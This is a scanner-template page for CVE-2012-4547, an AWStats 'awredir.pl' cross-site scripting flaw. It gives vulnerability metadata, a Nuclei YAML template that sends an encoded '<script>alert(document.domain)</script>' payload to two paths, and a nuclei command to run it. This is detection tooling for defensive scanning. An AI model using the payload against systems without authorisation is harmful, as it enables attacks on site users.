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AWStats 6.95/7.0 - 'awredir.pl' Cross-Site Scripting

ID: CVE-2012-4547

Severity: medium

Author: dhiyaneshDk

Tags: cve2012,cve,xss,awstats,edb,laurent_destailleur

Description

Section titled “Description”

AWStats is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

YAML Source

Section titled “YAML Source”
id: CVE-2012-4547


info:
  name: AWStats 6.95/7.0 - 'awredir.pl' Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: AWStats is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
  impact: |
    Allows remote attackers to inject arbitrary web script or HTML via the 'url' parameter.
  reference:
    - https://www.exploit-db.com/exploits/36164
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4547
    - http://awstats.sourceforge.net/docs/awstats_changelog.txt
    - http://openwall.com/lists/oss-security/2012/10/29/7
    - http://openwall.com/lists/oss-security/2012/10/26/1
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-4547
    cwe-id: CWE-79
    epss-score: 0.0023
    epss-percentile: 0.61246
    cpe: cpe:2.3:a:laurent_destailleur:awstats:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: laurent_destailleur
    product: awstats
    shodan-query: cpe:"cpe:2.3:a:laurent_destailleur:awstats"
  tags: cve2012,cve,xss,awstats,edb,laurent_destailleur


http:
  - method: GET
    path:
      - '{{BaseURL}}/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E'
      - '{{BaseURL}}/cgi-bin/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E'


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2012/CVE-2012-4547.yaml"

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